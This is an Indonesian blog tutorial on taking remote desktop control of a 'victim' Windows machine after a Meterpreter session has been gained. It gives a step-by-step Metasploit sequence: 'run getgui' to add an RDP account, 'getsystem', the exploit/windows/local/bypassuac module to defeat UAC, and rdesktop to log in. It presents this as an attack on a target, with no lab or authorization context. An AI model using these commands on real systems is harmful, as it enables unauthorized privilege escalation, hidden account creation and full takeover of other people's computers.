Anherr Blog's: Privilege Escalation

<div style="text-align: justify;">
<div style="text-align: justify;">
Pada postingan kali ini saya akan memberikan tutorial mengenai cara mendapatkan akses remote desktop victim. '<b>getgui</b>' merupakan sebuah script meterpreter yang memungkinkan untuk mengaktifkan Remote Desktop dan membuat account pengguna untuk login ke dalamnya (<a href="https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/" rel="nofollow" target="_blank">offensive-security</a>)</div>
<div style="text-align: justify;">
<br /></div>
Oke, mari kita mulai.<br />
<div style="text-align: justify;">
Saya asumsikan disini kalain sudah mendapatkan sesi meterpreter dari sistem target, untuk cara mendapatkannnya kalian bisa lihat di tutorial sebelumnya mengenai <a href="http://anher323.blogspot.co.id/search/label/Metasploit" target="_blank">Metasploit</a></div>
<br /></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQEY2G60J7xEwdrDJG1012oJF8oBWvq62XL6N1YgiNEvoMhGgrydUHUFkim4WeoEYDmqyBcczD9A-3XtL3qoQoTzMNcpE3qoyEhmCTCPzBeCV2bTtgpUKOebcN87ZrQ2TVyd4tMPvbgh4/s1600/sysinfo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQEY2G60J7xEwdrDJG1012oJF8oBWvq62XL6N1YgiNEvoMhGgrydUHUFkim4WeoEYDmqyBcczD9A-3XtL3qoQoTzMNcpE3qoyEhmCTCPzBeCV2bTtgpUKOebcN87ZrQ2TVyd4tMPvbgh4/s320/sysinfo.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<div style="text-align: justify;">
<br /></div>
Oke untuk mengaktifkan Remote Desktop Connection dari target, kita gunakan getgui untuk membuat account, perintahnya:<br />
<blockquote class="tr_bq">
run getgui <span style="text-align: justify;">-u <username> -p <password></span></blockquote>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfZk5gqwZkoD4wipRzPjrjVgff6TgT1Xt22BzIRqFg3daEufDyG0SqZ9gs0SpGz1-IrywCywBMCoeuuyqhHA6NH13NPzMnG9uh6_JJpyrq5xSbvZH37QcEbU-0BcMVaYdVZTYsVs2JWM/s1600/run+getgui+-u+anher+-p+Test123+fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run getgui -u <username> -p <password>" border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfZk5gqwZkoD4wipRzPjrjVgff6TgT1Xt22BzIRqFg3daEufDyG0SqZ9gs0SpGz1-IrywCywBMCoeuuyqhHA6NH13NPzMnG9uh6_JJpyrq5xSbvZH37QcEbU-0BcMVaYdVZTYsVs2JWM/s320/run+getgui+-u+anher+-p+Test123+fail.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Jika muncul pesan <b><i>Insufficient privileges</i></b>, itu menunjukkan bahwa kita tidak diperbolehkan untuk menjalankan perintah tersebut. jadi kita harus mendapatkan hak istimewa (Administrator) dalam sistem tersebut atau sebagai <b>root</b> jika di Linux.</div>
<div style="text-align: justify;">
nah untuk mendapatkan hak tersebut gunakan perintah berikut ini</div>
<blockquote class="tr_bq">
getsystem</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYDq7WDLWGGPMZcVR2xY402eO1V_wCGrnCd0NxIn6Uwk-Ix4pcGj97aBAOt-sUcpH-9823XWD2V9rY-GYDhzfoDU7HJwT7U3RiyHazE02SSvb4ahAH5EW2v0F559279aqt1b5fFHg-8kU/s1600/getsystem+fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="getsystem failed" border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYDq7WDLWGGPMZcVR2xY402eO1V_wCGrnCd0NxIn6Uwk-Ix4pcGj97aBAOt-sUcpH-9823XWD2V9rY-GYDhzfoDU7HJwT7U3RiyHazE02SSvb4ahAH5EW2v0F559279aqt1b5fFHg-8kU/s320/getsystem+fail.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
Apabila muncul pesan seperti berikut<br />
<blockquote class="tr_bq">
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:<br />
[-] Named Pipe Impersonation (In Memory/Admin)<br />
[-] Named Pipe Impersonation (Dropper/Admin)<br />
[-] Token Duplication (In Memory/Admin)</blockquote>
<div style="text-align: justify;">
Itu biasanya karena UAC (User Account Control System) target sedang aktif. namun jangan khawatir metasploit memiliki module exploit untuk melakukan bypass UAC.</div>
<div class="separator" style="clear: both;">
Sebelum menggunakan module exploit tersebut kita berjalan sebagai background terlebih dahulu dari meterpreter yang sedang aktif</div>
<blockquote class="tr_bq">
background</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xnr00Nb6JNzxiWyq9YeAUwSUKbPEvHBM0UfHio5XrOW_WQBx9vCkAVb40FZURecGmmikS71vjDPZmP8L0UtrvEdoSaxwbb0s48238dI_THSLyNGSuPNQY4KYfk9PCfiarJH8Ep6iTvs/s1600/background.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="background" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xnr00Nb6JNzxiWyq9YeAUwSUKbPEvHBM0UfHio5XrOW_WQBx9vCkAVb40FZURecGmmikS71vjDPZmP8L0UtrvEdoSaxwbb0s48238dI_THSLyNGSuPNQY4KYfk9PCfiarJH8Ep6iTvs/s320/background.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
Lalu gunakan module exploit <i>exploit/windows/local/bypassuac</i><br />
<blockquote class="tr_bq">
use exploit/windows/local/bypassuac<br />
show options (opsional)<br />
set session 1 (sessions yang sebelumnya di dapatkan)</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvP-MKDLkT8NBFVKwOXnjhxTVcGBMeNFj_p8Tug6mIFisDdMNXbO4GwKNZqyu0CbwBCk2GxGmPhoArB2KVpYXy_yddJlP5pVA7ZJa7mBpYj72X2Hk5PNtz8b6gE1fFS900NIu_yK4WTZ8/s1600/use+exploit+bypassuac.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use exploit/windows/local/bypassuac" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvP-MKDLkT8NBFVKwOXnjhxTVcGBMeNFj_p8Tug6mIFisDdMNXbO4GwKNZqyu0CbwBCk2GxGmPhoArB2KVpYXy_yddJlP5pVA7ZJa7mBpYj72X2Hk5PNtz8b6gE1fFS900NIu_yK4WTZ8/s320/use+exploit+bypassuac.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
Lalu jalankan exploit kembali<br />
<blockquote class="tr_bq">
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNu1PPx4rKYBMYC_l6hQk5LTffSDxshatDQBelsPPlW7qSf3BJRnP9_zLuJIznSkmuEYKaZCttipfZycsB5Y9RnMK2qZ_bh32BqPbKXtj5oNd3qRMjNqRsuL2IzgKIh8Lzn4CdcfRGns4/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit" border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNu1PPx4rKYBMYC_l6hQk5LTffSDxshatDQBelsPPlW7qSf3BJRnP9_zLuJIznSkmuEYKaZCttipfZycsB5Y9RnMK2qZ_bh32BqPbKXtj5oNd3qRMjNqRsuL2IzgKIh8Lzn4CdcfRGns4/s320/exploit.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
Nah jika berhasil, sekarang kita telah mendapatkan hak Administrator atau sebagai root dalam sistem target<br />
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH0bq99s422gnR8tbjEbvuBJJFLHbaRnR-BWrqM2yGdmz5q2HHBAsugVx4myBooBD9xs4QGhDcG7cg0AjdGA1GRn-KXarNS_jDnqdHWZSgVB4IDki_uL15aog2LzbfFl0uVnsgtwVD8Ic/s1600/getsystem.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="getsystem succes" border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH0bq99s422gnR8tbjEbvuBJJFLHbaRnR-BWrqM2yGdmz5q2HHBAsugVx4myBooBD9xs4QGhDcG7cg0AjdGA1GRn-KXarNS_jDnqdHWZSgVB4IDki_uL15aog2LzbfFl0uVnsgtwVD8Ic/s320/getsystem.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br /></div>
Coba jalankan getgui kembali untuk membuat account Remote Desktop Cennection<br />
<blockquote class="tr_bq">
run getgui -u <username> -p <password></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwik8cUZuqjc9eUjY1zUNwyxlQhoRa4VIbkm8JD5p8kTojRLXqNGFnxNVz-3EO57ZERiWicydka-A-HITc1NuKFmkFAz9bwQCDagniwcAlkX5Vg-PcXiEN1IVXw_HWrN2gP01ae6m5nHk/s1600/run+getgui+-u++%253Cusername%253E+-p+%253Cpassword%253E.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run getgui -u <username> -p <password>" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwik8cUZuqjc9eUjY1zUNwyxlQhoRa4VIbkm8JD5p8kTojRLXqNGFnxNVz-3EO57ZERiWicydka-A-HITc1NuKFmkFAz9bwQCDagniwcAlkX5Vg-PcXiEN1IVXw_HWrN2gP01ae6m5nHk/s320/run+getgui+-u++%253Cusername%253E+-p+%253Cpassword%253E.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Screenshot di atas menunjukkan Account RDP telah berhasil di buat, lalu kita coba login dengan rdesktop, gunakan perintah berikut.</div>
<blockquote class="tr_bq">
rdesktop -u <username> -p <password> IP <ip-addres-target></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4RDHtfHyqU3T5c7ujzbB5A7_skNeQt1UcW-OJeGmeOfXMXZe1XrmtSKOQBIKFNEwgWShmZeuSNol5ILMzKDc_kbuLp1sdqoA0s9yWksaoCvRfRhjBnDmeAeq77ggRY179G4r2shqId-s/s1600/rdesktop+-u+username+-p+password+IP+Target.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="rdesktop -u <username> -p <password> IP <ip-addres-target>" border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4RDHtfHyqU3T5c7ujzbB5A7_skNeQt1UcW-OJeGmeOfXMXZe1XrmtSKOQBIKFNEwgWShmZeuSNol5ILMzKDc_kbuLp1sdqoA0s9yWksaoCvRfRhjBnDmeAeq77ggRY179G4r2shqId-s/s320/rdesktop+-u+username+-p+password+IP+Target.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
Tunggu beberapa saat<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80zYYY9GTsUgkBhr5S2uJYWbkrEN_7ztkELI2UByklpNDjov7sZN1_DpS4zfMQVnAkn7sbl1yNBib-TuV2zxfXMKgqiUJmRtWqMsURR3WoxBF87W3SxbJqi1LQLyRVc-LnRbMEpJx9-4/s1600/Preparing+your+Desktop.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Preparing your desktop" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80zYYY9GTsUgkBhr5S2uJYWbkrEN_7ztkELI2UByklpNDjov7sZN1_DpS4zfMQVnAkn7sbl1yNBib-TuV2zxfXMKgqiUJmRtWqMsURR3WoxBF87W3SxbJqi1LQLyRVc-LnRbMEpJx9-4/s320/Preparing+your+Desktop.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Nah setelah berhasil login sekarng kita dapt mengoperasikan komputer target dengan mouse dan keyboard kita sendiri.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUQEb081cB4XBvzF5HlcfX3xJZ1X0yFr1qTT2rYoOH0sge5F6jrOuhj10o_Azb7ws_9bDhqj49LcOImwyQTFN_RPuPbPBNEFVRA9wjSe_ixwdIIYCZ4g51SzZYpWRhvS8PnKFMFuFhbJU/s1600/Success+Login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Login Success" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUQEb081cB4XBvzF5HlcfX3xJZ1X0yFr1qTT2rYoOH0sge5F6jrOuhj10o_Azb7ws_9bDhqj49LcOImwyQTFN_RPuPbPBNEFVRA9wjSe_ixwdIIYCZ4g51SzZYpWRhvS8PnKFMFuFhbJU/s320/Success+Login.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
System properties target<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWoiWHRdMgE17dxSV5X0B4eXysW5_pn6zYLsVfe4neVsriPheFn6a6mdhh5VCGMejRqNNgVzRBe1lvijZdbaAibjYKEXirkl83Y2d9y_gTP6vrwOlW9p9aeJOaiLdV_-Z8DoI0PmhiKUg/s1600/system+Properties.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="System Properties" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWoiWHRdMgE17dxSV5X0B4eXysW5_pn6zYLsVfe4neVsriPheFn6a6mdhh5VCGMejRqNNgVzRBe1lvijZdbaAibjYKEXirkl83Y2d9y_gTP6vrwOlW9p9aeJOaiLdV_-Z8DoI0PmhiKUg/s320/system+Properties.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Nah jika kalian masih bingung, kalian dapat melihat video di bawah ini</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/wwS2XPZlYME/0.jpg" frameborder="0" height="320" src="https://www.youtube.com/embed/wwS2XPZlYME?feature=player_embedded" width="480"></iframe></div>
<br />
<div style="text-align: justify;">
Sekian tutorial mengenai <b>Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter</b>, semoga bermanfaat.</div>
</div>

Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter

Pada postingan kali ini saya akan memberikan tutorial mengenai cara mendapatkan akses remote desktop victim. ' getgui ' merupakan ...

Baca selengkapnya »

Anherr Blog's

Sting Category

Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter

Popular Posts

Recent Post

Blog Archive